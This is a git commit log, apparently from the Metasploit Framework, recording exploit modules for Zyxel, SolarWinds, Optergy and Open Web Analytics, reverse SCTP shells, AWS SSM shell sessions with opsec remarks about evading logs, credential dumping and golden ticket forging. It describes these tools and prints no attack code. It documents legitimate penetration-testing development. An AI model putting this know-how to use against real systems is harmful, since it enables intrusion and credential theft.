adfoster-r7 f626b55831 Land #17825, Update zimbra_slapper_priv_esc.rb 2023-03-28 18:36:18 +01:00
adfoster-r7 f6c4679435 Land #17830, tools: modules: committer_count: Parse date argument with Time.parse 2023-03-28 18:34:24 +01:00
dm-ct 1330913e33 Fix dead reference links in rpc_cmsd_opcode21.rb
Both the reference links in this one are dead, replacing with archive.org links.

Much like https://github.com/rapid7/metasploit-framework/pull/17825, I'll be doing these ad-hoc for a little bit until I figure out a reliable way to do a load of them in one batch.
2023-03-28 18:15:26 +01:00
Jack Heysel 865251b8aa Land #17818, fix crash in RPC job info 2023-03-28 12:02:56 -04:00
bcoles 74bb908e56 tools: modules: committer_count: Parse date argument with Time.parse 2023-03-29 01:45:27 +11:00
Jack Heysel fcb93fef58 Land #17806, Optergy BMS Backdoor RCE module
This module exploits an undocumented backdoor vulnerability
(CVE-2019-7276) in the Optergy Proton and Enterprise Building
Management System (BMS) applications.
2023-03-28 10:27:35 -04:00
Jack Heysel f3c12ba176 Land #17808, Update broken secunia references
The Secunia links in the framework were dead. They have
now been restored using the wayback machine to grab
replacement links from the earliest date possible.
2023-03-27 17:20:13 -04:00
Spencer McIntyre 7a2643304e Add a missing require line 2023-03-27 16:54:04 -04:00
Spencer McIntyre 97d67c6a79 Add an AMQP login scanner 2023-03-27 16:53:03 -04:00
Spencer McIntyre 5d0ae3e0c0 Add a missing require line 2023-03-27 16:48:40 -04:00
Spencer McIntyre 95e8a1c175 Initial AMQP version scanner 2023-03-27 16:44:11 -04:00
space-r7 f9c6caa804 Land #17785, add SolarWinds (SWIS) deser RCE 2023-03-27 15:25:17 -05:00
Spencer McIntyre a36a475111 Bump rex-socket to 0.1.49
This includes the SSL fix from rapid7/rex-socket#58
2023-03-27 16:02:57 -04:00
Christophe De La Fuente 6d4ee0c071 Add exploit for CVE-2023-21768 2023-03-27 20:08:22 +02:00
dm-ct 38f7cbdfc6 Update zimbra_slapper_priv_esc.rb
fixing reference to use an archive link as the sites down.
2023-03-27 16:46:07 +01:00
bcoles abe5570902 php_cgi_arg_injection: Fix check regex match to detect code html tag 2023-03-27 15:21:04 +11:00
bcoles 8572053f0c php_cgi_arg_injection: Add notes and resolve Rubocop violations 2023-03-27 15:16:51 +11:00
h00die-gr3y bcef7ee357 updated module and documentation with SUDO option 2023-03-26 18:31:25 +00:00
manishkumarr1017 a67e894609 optimising the nagiosxi modules and also fixing the bug when autocheck is disabled 2023-03-26 15:58:45 +05:30
Jack Heysel e2e8568860 Land #17789, proftpd_modcopy_exec merge conflict 2023-03-24 23:19:18 -04:00
jheysel-r7 0d6195a9ae Merge branch 'master' into proftpd_modcopy_exec 2023-03-24 21:16:54 -04:00
Jack Heysel b7ac6d45d5 Land #17789, proftpd_modcopy_exec enhancements
This PR add documentation, notes, a reference URL, and a few
general code improvements to the check and exploit methods.
2023-03-24 21:08:28 -04:00
adfoster-r7 5f382cedba Fix crash in rpc job info command 2023-03-24 12:08:58 +00:00
Samuel Henrique d77113dad5 ssh_enumusers.rb: Change default value of 'CHECK_FALSE' to true (closes #17810)
The default action "Malformed Packet" reports all users as found even
 though they don't exist.

 Setting "CHECK_FALSE" to true will make the scanner bail out as it
 realizes the target is patched.
2023-03-23 22:24:59 +00:00
Spencer McIntyre 3ca177eb1f Add the exploit for CVE-2022-38108 2023-03-23 17:28:58 -04:00
Spencer McIntyre bfac7e6e0b Add a formatter_compatible_gadget_chains function 2023-03-23 17:28:58 -04:00
Spencer McIntyre ff3b68a352 Add the ObjectDataProvider+JsonNetFormatter 2023-03-23 17:28:58 -04:00
Spencer McIntyre 26d0f77379 Add the AMQP client 2023-03-23 17:28:53 -04:00
Metasploit 99aca10c8d Bump version of framework to 6.3.10 2023-03-23 12:10:35 -05:00
adfoster-r7 d04c8e1bce Update broken secunia references 2023-03-23 10:43:57 +00:00
h00die-gr3y 0c87b0b7cf removed Windows reference from documentation 2023-03-23 10:34:51 +00:00
bcoles 69daea95d6 exploit/unix/ftp/proftpd_modcopy_exec: Add docs and resolve RuboCop violations 2023-03-23 18:13:20 +11:00
h00die-gr3y 820e625baa updated documentation 2023-03-22 21:17:54 +00:00
h00die-gr3y 8226fb9022 fixed small typos documentation 2023-03-22 20:04:34 +00:00
h00die-gr3y 28459c286a init commit module and documentation 2023-03-22 18:40:50 +00:00
Metasploit b095a6ccd2 automatic module_metadata_base.json update 2023-03-22 13:15:21 -05:00
space-r7 67ac2dc584 Land #17771, add monitorr file upload rce 2023-03-22 13:00:38 -05:00
space-r7 3fe0801d92 use target_uri.path in requests 2023-03-22 12:50:11 -05:00
Grant Willcox 8356837e0a Land #17798, Update debug command to correctly output datastore values 2023-03-22 10:58:56 -05:00
Metasploit 16ecb2e649 automatic module_metadata_base.json update 2023-03-22 10:34:00 -05:00
adfoster-r7 d6e9e8d3bb Land #17735, fix some incorrect YARD parameters 2023-03-22 15:20:12 +00:00
Grant Willcox efd79bdd3a Land #17800, Update rubocop rule for module length limits 2023-03-22 09:44:12 -05:00
Metasploit 1918c856e1 automatic module_metadata_base.json update 2023-03-22 08:07:13 -05:00
adfoster-r7 e790b1aac6 Land #17802, update Python pingback payloads to no longer crash 2023-03-22 12:52:55 +00:00
Spencer McIntyre e02c80f10d Land #17747, Fix issues in wmap plugin 2023-03-21 17:19:23 -04:00
Spencer McIntyre 835f397f79 Add a missing include so the payloads generate 2023-03-21 16:49:25 -04:00
Metasploit 4c2b1c301f automatic module_metadata_base.json update 2023-03-21 14:23:14 -05:00
Jack Heysel 1f2a889d0c Land #17388, Zyxel router RCE
This module adds a new exploit module for a buffer
overflow in roughly 45 different Zyxel router and VPN models.
2023-03-21 15:07:04 -04:00
Jack Heysel f5d1aab01a Changed send_request_cgi to raw 2023-03-21 14:26:05 -04:00
adfoster-r7 5d0b7c191c Update rubocop rule for module length limits 2023-03-21 17:38:15 +00:00
adfoster-r7 dd576dd860 Update debug command to correctly output datastore values 2023-03-21 14:02:30 +00:00
adfoster-r7 56e5796157 Land #17784, Performance regression eager load 2023-03-21 12:59:02 +00:00
adfoster-r7 236de61130 Land #17583, Enhances info -d with references to AttackerKB 2023-03-21 12:38:36 +00:00
Dean Welch acf23e9c61 Sets config.eager_load to false for production envs 2023-03-21 12:31:33 +00:00
dwelch-r7 feaddc09cc Land #17795, Add documentation on debugging and running external python modules 2023-03-21 11:12:17 +00:00
dwelch-r7 2f45c3baa8 Land #17794, Update external modules to support python3.11 2023-03-21 11:09:55 +00:00
adfoster-r7 cf3d14d42f Update external modules to support python 3.11 2023-03-21 11:00:56 +00:00
adfoster-r7 83cc0bf5a9 Add documentation on debugging and running external python modules 2023-03-21 10:59:55 +00:00
dwelch-r7 158fae2a2c Land #17792, Fix external module crash for att open proxy scanner 2023-03-21 10:53:53 +00:00
Metasploit 1764f0806e automatic module_metadata_base.json update 2023-03-20 18:04:09 -05:00
bwatters 3b73adf05d Land #17401, Add encoder module x86/xor_poly
Merge branch 'land-17401' into upstream-master
2023-03-20 17:48:46 -05:00
h00die-gr3y c5ed25cd6c small update to documentation on vulnerable releases 2023-03-20 21:12:49 +00:00
h00die-gr3y e3df74ee5b Updates addressing review points of space-r7 2023-03-20 21:04:58 +00:00
H00die.Gr3y 871a251c94 Apply suggestions from code review
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-03-20 21:44:11 +01:00
Spencer McIntyre e59a192a84 Restructure AMQP protocol definitions 2023-03-20 16:24:31 -04:00
Spencer McIntyre c82af18e68 Set the class and method ID from the arguments 2023-03-20 16:24:30 -04:00
Spencer McIntyre 31e3f459d8 Add some basic AMQP protocol definitions 2023-03-20 16:24:30 -04:00
Grant Willcox d257bae706 Land #17783, Update reload_lib command to catch script errors 2023-03-20 13:56:27 -05:00
adfoster-r7 49f15527d1 Fix external module crash for att open proxy scanner 2023-03-20 15:43:54 +00:00
h00die-gr3y 5903addbd6 Updates adressing majority of review points 2023-03-19 15:13:09 +00:00
bcoles 1b7cee4589 exploit/unix/ftp/proftpd_modcopy_exec: Add docs and resolve RuboCop violations 2023-03-19 15:35:36 +11:00
Metasploit 668735e418 automatic module_metadata_base.json update 2023-03-17 16:59:16 -05:00
space-r7 9e1be62f06 Land #17462, add WhatsUp Gold credential extractor 2023-03-17 16:44:17 -05:00
Jack Heysel 31a32ccd9b linting and srvhost check fix 2023-03-17 14:39:02 -04:00
jheysel-r7 56761a2f6d Update modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-03-17 13:01:02 -04:00
jheysel-r7 6b853b57c6 Update modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-03-17 13:00:15 -04:00
jheysel-r7 764abaf087 Update documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-03-17 12:59:48 -04:00
jheysel-r7 df365b55a4 Update modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2023-03-17 12:57:06 -04:00
Metasploit 01204106e9 automatic module_metadata_base.json update 2023-03-17 05:03:20 -05:00
Christophe De La Fuente 0df12fd694 Land #17754, Open web analytics 1.7.3 remote code execution 2023-03-17 10:15:33 +01:00
H00die.Gr3y 04e0fc70bf Apply suggestions from code review
Co-authored-by: dwelch-r7 <Dean_Welch@rapid7.com>
2023-03-16 19:25:03 +01:00
Metasploit 8b26064855 Bump version of framework to 6.3.9 2023-03-16 12:14:04 -05:00
Pflegusch 3baa894840 Add DefangedMode to warn the user 2023-03-16 18:07:28 +01:00
adfoster-r7 6f6559dc2c Update the reload_lib command to continue reloading the remaining files if a single file fails to load 2023-03-16 11:41:00 +00:00
Arthur RAOUT 4ecf222c95 add iquote join() for x64 2023-03-16 11:21:03 +01:00
Arthur RAOUT 5a1fdbab50 revert newline 2023-03-15 21:00:13 +01:00
Arthur RAOUT 58951196bc Merge branch 'fix_mingw_includes' of github.com:araout42/metasploit-framework into fix_mingw_includes 2023-03-15 20:58:56 +01:00
Arthur RAOUT 3d3e3195a3 fix 1 eol space 2023-03-15 20:58:42 +01:00
Professor Araout 351b62cca6 Merge branch 'rapid7:master' into fix_mingw_includes 2023-03-15 20:55:36 +01:00
Arthur RAOUT f73249f709 Added changes to mingw.rb to allow custom iquote include dirs 2023-03-15 20:54:27 +01:00
Arthur RAOUT 028cc8a909 Added changes to mingw.rb to allow custom iquote include dirs 2023-03-15 20:53:57 +01:00
Pflegusch 027793cce6 Remove unused variable res in check_connection 2023-03-15 19:00:26 +01:00
Pflegusch ac72c12734 Set timeout of 1s to make session available much quicker 2023-03-15 18:59:22 +01:00
Pflegusch d06e2d9e3d Remove nvd url 2023-03-15 18:56:23 +01:00
3V3RYONE 9d60480d4e make subscriber nil safe 2023-03-15 21:34:51 +05:30
adfoster-r7 90d4b660f7 Update brocade tests to pass locally 2023-03-15 13:23:01 +00:00
Pflegusch 3bf60a57ae Fix typo 2023-03-15 01:54:36 +01:00
Pflegusch cea8aa8e02 Update open_web_analytics_rce.md to work with latest code changes 2023-03-15 01:34:02 +01:00
Pflegusch ee0334dd40 since file got deleted, one can not trigger the payload anymore by opening the php url 2023-03-15 01:05:10 +01:00
Pflegusch 0cbebc8a4c Remove malicious .php file at the end of the exploit 2023-03-15 01:03:20 +01:00
Pflegusch 103def70e4 More detailed error message for failed regex match 2023-03-15 00:07:20 +01:00
Pflegusch bb9e214282 Fix line too long in open_web_analytics_rce docs 2023-03-15 00:01:15 +01:00
Pflegusch d72d47e502 Update Failure Codes and check for nil in the helper functions 2023-03-14 23:59:57 +01:00
Pflegusch 897aaf9572 Use Failure::UnexpectedReply when password cant be changed 2023-03-14 23:41:48 +01:00
Pflegusch 2310b0d942 Use Failure::NotFound when no valid cache file is found 2023-03-14 23:40:29 +01:00
Pflegusch 86f4a16cff Check if cache_request is not nil 2023-03-14 23:38:57 +01:00
Pflegusch e160e51711 Fix typos, update docs with advanced option SearchLimit, implement SearchLimit into module 2023-03-14 23:29:55 +01:00
Pflegusch 887551bf2c Use UnexptectedReply instead of Unknown 2023-03-14 22:29:38 +01:00
Pflegusch 8db10af8c0 check if res is not nil in addition to res.code 2023-03-14 22:28:52 +01:00
Pflegusch dff139d6d7 remove fail_with in check_connection as suggested 2023-03-14 22:24:08 +01:00
Pflegusch 2ce3aeed2b Add CONFIG_CHANGES to the side effects 2023-03-14 22:16:10 +01:00
Pflegusch c0ee250b6b Add some more URL references 2023-03-14 22:14:16 +01:00
Pflegusch cfaad7fb84 prepend AutoCheck 2023-03-14 22:10:44 +01:00
Pflegusch 9e64f02742 Use default values in option declaration instead of DefaultOptions 2023-03-14 22:08:05 +01:00
Pflegusch ac6e94770e use Failure::Unreachable and use unless instead of if/else 2023-03-14 22:03:31 +01:00
Pflegusch 311314984f Remove base64 requirement 2023-03-14 21:47:29 +01:00
Pflegusch cc4e455530 Remove directory datastore option and make username and password required 2023-03-14 21:46:45 +01:00
Pflegusch 3196a52bdf fix msftidy_docs.rb issues 2023-03-14 21:43:07 +01:00
3V3RYONE 9c20d0f84b Implemented HTTP-Trace for login scanners via HttpLoggerSubscriber API 2023-03-15 00:57:33 +05:30
h00die-gr3y 015d79a4c2 added documentation 2023-03-13 18:05:08 +00:00
h00die-gr3y 07d7248de8 initial module commit 2023-03-13 13:32:14 +00:00
Pflegusch ddd594ac62 Update example in docs for latest code changes 2023-03-11 17:26:21 +01:00
Pflegusch 94e9504727 Use metasploit payload instead of hardcoded one 2023-03-11 14:47:32 +01:00
Pflegusch 3f7f28dd4f make use of full_uri and change regex 2023-03-11 14:25:04 +01:00
Aaron Meese 0a6ac589e4 Update modules/auxiliary/scanner/http/rpyc_rce.py
Renames `system` function to `remote_system`

Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2023-03-09 15:55:51 -07:00
Pflegusch 38511f4d89 Rename establish_connection function 2023-03-09 17:06:07 +01:00
Pflegusch e66fd8f5ae Use rand_text_alphanumeric function 2023-03-09 17:03:48 +01:00
Pflegusch 69839d1924 Remove get_proxy_protocol function 2023-03-09 17:02:10 +01:00
Pflegusch 85185633b7 Use single back ticks and 3 instead of 4 at the end 2023-03-09 16:58:04 +01:00
Pflegusch 614f4b6d89 Make installation path of owa configurable 2023-03-09 16:32:28 +01:00
Pflegusch 2de53712bd Use Rex::Version for version comparison 2023-03-09 15:59:42 +01:00
Pflegusch 94ceeb075a Redirect is not necessary - replace with simple send_request_cgi request 2023-03-09 15:41:15 +01:00
Pflegusch ee95eb2883 fix typo: establish_connection 2023-03-09 15:09:32 +01:00
Pflegusch 14b5c08a62 Fix the double slash in the shell url 2023-03-09 14:28:15 +01:00
Pflegusch ae7ca169fe Use the same IP as in the example 2023-03-09 14:08:50 +01:00
Pflegusch 3847c410b0 Small changes to the open_web_analytics_rce documentation 2023-03-09 14:05:06 +01:00
Pflegusch 7b0a54bb56 Add the documentation for the module 2023-03-09 13:59:27 +01:00
Pflegusch d59175a463 make it work for https and http and remove the tmp self signed cert bypass 2023-03-09 13:58:56 +01:00
adfoster-r7 ab57c09dc2 Update get_ticket to support using forged golden tickets 2023-03-09 12:21:29 +00:00
Dean Welch 540f28d71b Fix crashes in wmap plugin 2023-03-09 12:07:40 +00:00
Pflegusch f0dbf54c69 use fail_with in get_cache_content function 2023-03-09 11:04:00 +01:00
Pflegusch 7068d4c3f1 remove LPORT, RPORT and SSL from DefaultOptions 2023-03-09 11:03:24 +01:00
Pflegusch 76b05a7092 Change DisclosureDate according to nvd.nist.gov 2023-03-08 21:52:13 +01:00
Pflegusch b37be28191 Working module open web analytics 1.7.3 rce 2023-03-08 21:30:52 +01:00
Arthur RAOUT 75002f16e6 Finally reverted bad changes 2023-03-08 13:45:25 +01:00
Arthur RAOUT 889aff9701 Revert accidental changes Merge branch 'upstream-master' into New_x86_xor_encoder 2023-03-08 13:41:26 +01:00
Dean Welch d318a9e0d0 Add advanced option to include Ticket Checksum during forging 2023-03-06 13:21:23 +00:00
Dean Welch 48a5f33f35 Add option to include a ticket checksum while forging a ticket 2023-03-06 13:19:59 +00:00
Dean Welch 2aa74f9dfc Add support for full pac and partial ticket checksum support 2023-03-06 13:14:09 +00:00
Grant Willcox c5ef08b324 Add in additional YARD documentation fixes 2023-03-05 20:56:54 -06:00
Grant Willcox 08f07eccb6 Fix initial incorrect parameters in YARD documentation 2023-03-05 20:15:14 -06:00
npm-cesium137-io 6adfc69b9a Merge pull request #2 from space-r7/whatsupgold-changes
Suggested changes for module
2023-03-04 14:41:01 -05:00
Arthur RAOUT 7b7377257e fixed 2 rubocop offenses 2023-03-02 13:08:09 +01:00
Arthur RAOUT e178226efa Merge branch 'New_x86_xor_encoder' of github.com:araout42/metasploit-framework into New_x86_xor_encoder 2023-03-02 12:31:21 +01:00
Arthur RAOUT dd7e8328bb no test.rb 2023-03-02 12:31:07 +01:00
Arthur RAOUT 1461f9fb03 slight changes in the comments 2023-03-02 12:30:38 +01:00
Arthur RAOUT 6a81e0f6cb Merge branch 'upstream-master' into New_x86_xor_encoder 2023-03-02 12:10:00 +01:00
Professor Araout 83bcd1cc1b Fix typo in the comments line 41
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-03-02 11:50:56 +01:00
Imran E. Dawoodjee 3f1119c69e Attempt fix for NoMethodError when exploiting 2023-02-26 22:02:08 +08:00
space-r7 eec73fe394 add module changes 2023-02-23 16:34:43 -06:00
Joshua Rogers 0f5f495108 Add default locations for the Jenkins home directory, and add an optional value that a user can suggest the home directory. 2023-02-22 03:56:54 +01:00
ajmeese7 a2026182e1 feat: created module to exploit CVE-2019-16328 2023-02-19 16:03:05 -05:00
RageLtMan ef53e3c52e Python reverse command shell over SCTP
Implement reverse shell over SCTP in Python.
During testing against Arch Linux with Python 3.10.9, any attempt
to interact with the resulting shell produced:
```
Traceback (most recent call last):
  File "/tmp/shell.py", line 12, in <module>
    so.send(o)
OSError: [Errno 22] Invalid argument
```
Implement handling for OSError 22 on the send() method for the
abnormal stream socket.

Testing:
  Tested against local KVM virtual machine running Arch Linux
2023-02-08 21:47:28 -05:00
RageLtMan a215d64574 Linux x64 binary reverse SCTP stager
Implement binary SCTP stager for Linux x64.

Testing:
  Successful test against Arch Linux x64 VM in local Libvirt
2023-02-08 21:47:28 -05:00
RageLtMan 8aef054dfd SCTP Sessions
With the introduction of SCTP socket support in Rex::Socket via
https://github.com/rapid7/rex-socket/pull/56, Framework can utilize
this protocol for session transports similarly to  TCP as it is a
stream-wise transport.

Implement bind and reverse handlers for the new socket type.
Implement example bind and reverse payloads using socat copying
from the initial udp sessions implementation.

Testing:
  Rudimentary bind session test against local Libvirt Linux VM

Next steps:
  Implement the language-level payloads for the interpreters common
to POSIX environments supporting SCTP.
  Implement meterpreter transports for SCTP in Python, PHP, Mettle,
and Java modalities (Windows doesn't support it without carrying
its own usermode protocol library).
2023-02-08 21:47:28 -05:00
RageLtMan 153f950f11 Add AwsSsmCommandShellBind session type
Create an AwsSsmCommandShellBind session type to provide intercept
points for shell command interactions and a wrapper class which is
used to register the new session.

Update Msf::Handler::BindAwsSsm with its own #create_session method
utilizing the new session type to provide direct control of session
initialization.

Restore standard handler attributes and thread nomenclature in an
attempt to resolve the repeating session creation when #to_handler
is called on the payloads.

Testing:
  Tested in local framework, unfortunately the recurring session
init problem appears to persist. Requesting testing on an upstream
Framework by saner folks.
2023-02-04 20:57:26 -05:00
RageLtMan 7e19141dfc Standardize DS names and set OS platforms
Update SSM handler code to standardize datastore option names per
@zeroSteiner.
Update payload modules to reflect the OS targets against which they
are to execute.
2023-02-04 19:41:40 -05:00
Spencer McIntyre 687e82a9ed Satisfy rubocop 2023-02-03 15:29:19 -05:00
cgranleese-r7 b789e00ea7 Enhances info -d with references to AttackerKB 2023-02-03 10:15:55 +00:00
Spencer McIntyre 61c2726620 Fix NoMethodError for #opcode 2023-02-01 18:19:46 -05:00
RageLtMan 27d6a89b99 Use keepalive in SSM aux module 2023-01-21 09:26:06 -05:00
RageLtMan 453baca109 Drop mask_write, tweak logging 2023-01-21 08:29:28 -05:00
RageLtMan 589c2257e3 Implement reporting and pretty output 2023-01-20 23:17:34 -05:00
RageLtMan 3e54ae6e69 Resolve crashes noted by @smcintyre-r7, simplify
Bail out of console resize operation if ::IO.console doesn't exist
Enforce REGION datastore option and remove the multi-region enum
code by Aaron - users can write resource scripts if they need
automation.
2023-01-20 22:33:51 -05:00
npm-cesium137-io d0feedadbf Refine whatsupgold_credential_dump
Added CVE info to the References section.

Modified the registry routines to add sanity around x86 vs. x64 arch.
2023-01-18 15:47:26 -05:00
Jeffrey Martin 99b2e1d709 add aws ssm gem to lock file 2023-01-13 09:59:05 -05:00
RageLtMan 14f992aa88 Address some of @smcityre-r7's comments
Explicitly `require 'aws-sdk-ec2'` in the aux module
Fix the hard-coded region to use datastore option
2023-01-13 09:55:51 -05:00
RageLtMan 274bf6dcb7 Make SSM keepalive optional 2023-01-13 09:54:34 -05:00
Steve E b67f001e2a post-testing typo fix 2023-01-12 20:02:20 +00:00
Steve E 1afecd0884 force t3 over ssl option 2023-01-12 19:42:55 +00:00
npm-cesium137-io 243c57c1fe Add whatsupgold_credential_dump post module
Add a post module for credential extraction from WhatsUp Gold instances
on Windows hosts. The module should theoretically decrypt ciphertext
from any version of WhatsUp Gold, although it has only been verified
working on WhatsUp Gold versions 11.0 through 22.0.
2023-01-10 15:50:53 -05:00
Steve E 990d5ccfad Action linter warnings in changes 2023-01-09 21:17:22 +00:00
Steve Embling 16c176dbe0 Accept protocol option change to optenum from optstring
Co-authored-by: bcoles <bcoles@gmail.com>
2023-01-10 12:54:28 +00:00
Steve Embling a368f76a2a Update weblogic_deserialize_badattrval.rb 2023-01-10 10:47:31 +00:00
Steve E 60bfa329fa Add t3s protocol support to weblogic_deserialize_badattrval 2023-01-09 18:47:43 +00:00
Arthur RAOUT d83c2c3a5d Remove useless loop that select reg1, because we now have push/pop all regs to preserve them 2023-01-04 17:40:22 +01:00
Arthur RAOUT 676fda73b1 Remove useless loop that select reg1, because we now have push/pop all regs to preserve them 2023-01-04 17:39:59 +01:00
Arthur RAOUT 7494318ec4 Fix offset from entrypoint 2023-01-04 17:36:55 +01:00
Arthur RAOUT 93f579b180 Fixed shuffling of registers with generate preserve reg function 2023-01-04 17:33:24 +01:00
Arthur RAOUT 0a99e2be6a Fixed 3 offense rubocop/msftidy 2023-01-04 17:25:25 +01:00
Arthur RAOUT bdf5f8fbe4 Added preserver register through random order push and pop of the registers, change name to xor_poly.rb 2023-01-04 17:21:48 +01:00
Professor Araout 7cd68e8f06 Merge branch 'rapid7:master' into New_x86_xor_encoder 2023-01-04 17:04:30 +01:00
RageLtMan 60c2f0a480 SSM enumeration module filter and throttle
Expand SSM enumeration module docs to explain full functionality.
Enable the LIMIT configuration option to restricte results per
region.
Implement FILTER_EC2_ID configuration option to permit targeting
of a specific instance for session initiation.

Testing:
  Finds limtied sets of systems and initiates sessions
  Finds desired system ID and initiates session
2023-01-03 22:00:14 -05:00
RageLtMan 955fb2ef3e SSM WebSocket session keep-alive
The SSM session socket times out without data being sent at the
upper (SSM) WS layer. Implement keep-alive in a separate thread
which simply writes nothing into the channel at irregular intervals
to simulate user activity.

Testing:
  Sessions established with this code running have not timed-out
in over 15m despite being completely unused
2023-01-03 21:20:07 -05:00
RageLtMan eba4c4b047 Spoonfeed the skiddies: auto-sessions for SSM enum
Enable session acquisition from AWS SSM enumeration module simiar
to how the telnet login scanner acquires sessions on the sockets
exposed.

Testing
  Tested execution - finds systems, gets shells, autopwn-capable
2023-01-03 20:40:30 -05:00
RageLtMan 7666b30b82 Rudimentary enumeration module for EC2+SSM
Coopt Aaron Soto's EC2 enum module & replace the guts with an SSM
query for not-terminated EC2 instances with SSM capability. This
will proide users with the instance IDs needed to test their SSM
shells and can be expanded to report information or even act as a
"brute-force" module which automatically starts SSM sessions.

Testing:
  None - might eat your monitor lizard
2023-01-03 17:09:55 -05:00
RageLtMan 46c030a08b Finalize SSM Shell via WebSocket
Implement terminal resizing to WebSocket shell
Reorganize code to ease later extension
Implement peerinfo in channel context from AWS EC2 SSM information
gathered during session validation
Implement echo-filtering for session inputs (hacky, but works)

Testing:
  Verified console resizing, color/reset/etc
  Verified peerinfo and interaction
  Verified common session operations

Notes:
  SSM WebSocket sessions time out pretty quickly, implementing
dedicated SSM session types which support suspend/resume to match
backgrounding/foregrounding operations in the console should help
to resolve this. Alternatively, a keep-alive using empty frames
may be implemented in the SsmChannel itself on a separate thread.
2023-01-03 15:10:31 -05:00
RageLtMan 43d746c404 Implement SSM WebSocket Sessions
Alter WebSocket::Interface::Channel to accept a mask_write flag to
set the Channel behavior for outgoing data (since the on_data_write
handler can only deal with the buffer provided, not how the wsframe
containing it is written to the "wire"). Set the flag to false for
SSM's WebSocket operations.

Extract Rex::Proto::Http::WebSocket::AmazonSsm from the handler to
permit reuse by other framework elements.

Implement SSM-specific UUID handling.
Create sane SsmFrame constructor to permit convenient operations.

Implement Http::WebSocket::AmazonSsm::Inteface::SsmChannel from
Http::WebSocket::Inferface::Channel with message-type handling and
output processing. Acknowledge incoming messages, process incoming
acknowledgements, increment sequence IDs appropriately, and handle
basic logging.

This new session type removes the 2500 char output restriction and
stateless peer cwd.

Testing:
  Execution of handler now provides stateful interactive shells

Next steps:
  More testing, preferably by other people with upstream framework.
  Peerinfo and presentation updates for the session channel
  Misc cleanup

Future work:
  Implement new SSM session type with support for multi-console,
port-forwarding/socket routing, and custom SSM documents.
  Implement FSM handlers for session suspension and resumption in
Http::WebSocket::AmazonSsm::Interface::SsmChannel
2023-01-03 09:34:14 -05:00
RageLtMan c733dbc906 Start processing AWS SSM WebSocket session frames
Create BinData structure to handle the proprietary format of AWS'
SSM WebSocket protocol. Implement relevant inter-field dependencies
and a virtual payload_valid field to handle the SHA256 digest check
for the current state of r the payload_data field.

Implement user-accessible SSM document definition to permit use of
custom-defined command and session documents (stubbing for session
types such as port-forwarding) which may be of use when dealing
with restrictive IAM.

Restructure handler in preparation for moving the WebSocket code
into Rex::Proto for use by other consumers such as custom payloads
and session types like fully interactive (vs REPL) modalities, or
some form of "cloud-native" MeterSSM.

Testing:
  Verified acquisition of SSM WS frame and relevant field ops

Next Steps:
  Create WS loop to abstract shell communications
  Wrap in Rex*Abstraction bowties for the session handler
  Test -> ? -> Profit
2023-01-01 11:21:32 -05:00
RageLtMan cfc24f138a Implement SSM WebSocket init/auth
Using the implementation in https://github.com/humanmade/ssm, use
the onconnect websocket authenticator as a JSON string written as
a wstext Frame into the established WebSocket. This keeps the sock
open with AWS after returning it from the method, but subsequent
operations will require definition and encoding/decoding of SSM's
proprietary data structures.

Testing:
  The initialized WebSocket is kept open and returns wsframes when
requested.

Next steps:
  Port the various data structures from the JavaScript library
  Implement encoding & decoding for their wire-level formats
  Implement state management and data flow handling logic for
the WS SSM protocol.
2022-12-31 20:46:19 -05:00
RageLtMan 9850534d55 Initial WebSocket connection wrapper
Port WebSocket initiation routine from Exploit::Remote::HttpClient.
Currently inert since it appears to require a handshake procedure
along with its own type of data frame.

Implement graceful fail-down for session establishment which tries
to initiate a WebSocket session for proper functionality, failing
down to the script-execution style session abstraction if the WS
session does not marshal properly. Use this exception handling to
deal with the WIP WS session state.

Testing:
  Gets the same kind of command-abstracted session as before
  Interface-extended socket returns garbage from naive #write and
nothing from put_string or put_binary - not going to get anything
out of this thing until we establish the handshake procedure.

Next steps:
  Figure out data frame structures for handshake and console IO
  Implement handshake on-init, validate state
  Implement IO abstraction for the resulting Channel for handoff
to #handle_connection
2022-12-31 19:05:06 -05:00
RageLtMan 3624bee263 Initial implementation for AWS SSM shells
Amazon Web Services provides conveniently privileged backdoors in
the form of their SSM agents which do not require connectivity with
the target instance, merely valid credentials to AWS' API. Due to
this indirect "connection" paradigm, this mechanism can be used to
control otherwise "air-gapped" targets.

This approach abstracts asynchronous request/response parsing for
SSM requests into an IO channel with which the AWS SSM client is
then wrapped to emulate the expected Stream. The mechanism is rather
raw and could use better error handling, retries on laggy output,
and a threadsafe cursor implementation. It may be possible to start
an actually interactive session using the #start_session method in
the AWS client library, but so far testing has not yielded positive
results.

There is a significant limitation with these sessions not present
in normal stream-wise abstractions: a response limit of 2500 chars.
This limitation can be overcome by utilizing an S3 bucket to store
command output; however, due to the nature of access we seek to
obtain, it would not only add to the logged event loads but retain
the results of our TTPs in a "buffer" accessible to other people.
This functionality can be added down the line in the form of S3
config options in the handler to be passed into the SSM client for
command execution and acquisition of output.

Testing:
  Gets sessions, provides command IO, leaves a bunch of log entries
in CloudTrail (something to keep in mind for opsec considerations).

Next steps:
  Reorganize our WebSocket code a bit to provide connection and WS
state management inside Rex::Proto::Http::Client which can then be
exposed to the Handler without having to mix-in other namespaces
from Exploit.
  Use the #start_session SSM Client method to extract the WS URL
for the relevant channel, and utilize that as the underpinning for
our session comms.
2022-12-31 15:04:27 -05:00
Professor Araout dcec717a9b Merge branch 'rapid7:master' into New_x86_xor_encoder 2022-12-20 22:25:29 +01:00
Professor Araout 0a53cab369 Update xor.rb
Remove outdated comments
2022-12-20 17:03:50 +01:00
Arthur RAOUT 45d0eb8bb4 Add encoder module x86/xor at path modules/encoder/x86/xor.rb, Rubocop clean, msftidy clean, No documentation written 2022-12-20 15:54:01 +01:00
Steffen Robertz cc5c405941 Unauthenticated RCE for multiple Zyxel Router changes 2022-12-15 21:44:57 +01:00
